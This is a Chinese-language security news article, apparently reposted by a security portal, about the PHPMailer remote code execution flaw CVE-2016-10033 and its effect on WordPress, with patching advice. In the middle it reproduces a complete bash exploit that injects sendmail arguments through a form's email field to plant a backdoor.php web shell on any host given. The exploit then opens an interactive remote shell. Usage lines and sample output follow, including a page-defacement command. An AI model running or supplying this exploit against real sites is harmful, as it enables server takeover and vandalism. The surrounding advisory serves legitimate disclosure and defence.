Loading
0

广泛使用的邮件组件:PHPMailer存在远程代码执行漏洞

近日,波兰研究人员 Dawid Golunski 发现了一个存在于PHPMailer中的严重远程代码执行漏洞。该漏洞在昨天的legalhackers.com上公布,但漏洞利用细节的概念验证并未包括在内。
不幸的是在几个小时前,有人向exploit-db和github发布了一个概念验证,演示了如何在PHPMailer库中利用此漏洞,但是出于安全考虑并不针对任何一个正在投入使用中的Web应用程序。
我们正在着手准备发布这个原本在计划之外的更新,以便向PHP开发人员和我们的社区提前警告这个问题。因为我们估计随着更多开发人员和心怀不轨的人查看到上面的概念验证代码后会导致这个事件持续酝酿。
PHPMailer是WordPress中用来发送电子邮件的核心部分。 你可以在wp-includes / class-smtp.php核心文件中找到代码。
不要惊慌
注意:无论对于WordPress的核心还是任何WordPress主题或插件, 目前尚没有公开可行的漏洞利用代码。我们看到的唯一漏洞利用是研究人员针对他们自己的应用程序进行了验证,以此表明PHPMailer中存在此漏洞。 (详情如下)
请不要联系WordPress核心团队、WordPress论坛版主或其他任何人,告诉他们“你的WordPress网站将被利用”,这将引起不必要的恐慌。这项研究目前仍在进行中,我们让您提前意识到这个问题主要有两个原因:
1. 从用户的角度来讲,一旦解决方案发布,就可以准备升级WordPress核心和任何其他受影响的主题和插件。
2. 从开发者的角度来讲,如果他采用了这个版本的包含漏洞的PHPMailer,就可以开始着手修补代码,以便尽快发布给用户。
漏洞细节
如果你不熟悉RCE漏洞,那么这将是最糟糕的情况。在WordPress的历史上所有严重的漏洞都是远程代码执行漏洞,它们允许攻击者在受害者网站上执行自己的代码从而控制整个网站。
我们对PHPMailer中受影响的代码进行了简要分析。 为了利用此漏洞,攻击者似乎需要能够控制发件人的电子邮件地址。
PHPMailer中的弱点代码和修复代码的片段如下所示:

在这个包含漏洞的PHPMailer(PHPMailer 
PHPMailer的Docker复现环境(附POC): https://github.com/opsxcq/exploit-CVE-2016-10033
Exploit
#!/bin/bash
# CVE-2016-10033 exploit by opsxcq
# https://github.com/opsxcq/exploit-CVE-2016-10033
  
echo '[+] CVE-2016-10033 exploit by opsxcq'
  
if [ -z "$1" ]
then
    echo '[-] Please inform an host as parameter'
    exit -1
fi
  
host=$1
  
echo '[+] Exploiting '$host
  
curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php'
  
cmd='whoami'
while [ "$cmd" != 'exit' ]
do
    echo '[+] Running '$cmd
    curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d
    echo
    read -p 'RemoteShell> ' cmd
done
echo '[+] Exiting'
To exploit this target just run:

./exploit host:port
If you are using this vulnerable image, you can just run:

./exploit localhost:8080
After the exploitation, a file called backdoor.php will be stored on the root folder of the web directory. And the exploit will drop you a shell where you can send commands to the backdoor:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Running whoami
www-data
RemoteShell> echo 'Defaced' > /www/index.php
[+] Running echo 'Defaced' > /www/index.php

PHPMailer验证截图

如何应对
我们会向订阅者和客户发邮件预警。WordPress核心团队目前正在开发一个将包含在WordPress核心安全发布版本中的修复程序。尚没有确切的发布时间,但会尽量在24小时之内。
一旦发布,请尽快将WordPress核心进行升级。
如果在你自己的PHP应用、主题、插件中还在使用早于5.2.18版本的PHPMailer,请立即升级到PHPMailer 5.2.18或更高版本。
如果你是WordPress主题或插件开发人员,并且在你的插件或主题代码中包含了早期版本的PHPMailer拷贝,则需要立即更新到PHPMailer 5.2.18或更新版本并向客户发布修订。
漏洞历程时间线
1. 前不久在WordPress核心中发布了一个问题讨论,其中包括了一个修补程序来解决这个问题。它可以将使用PHPMailer 5.2.14的WP核心更新到5.2.19。但这只是一个建议的补丁,并不是官方的最终修复。

分页阅读: 1 2
【声明】:8090安全小组门户(http://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们:邮箱hack@ddos.kim,我们会在最短的时间内进行处理。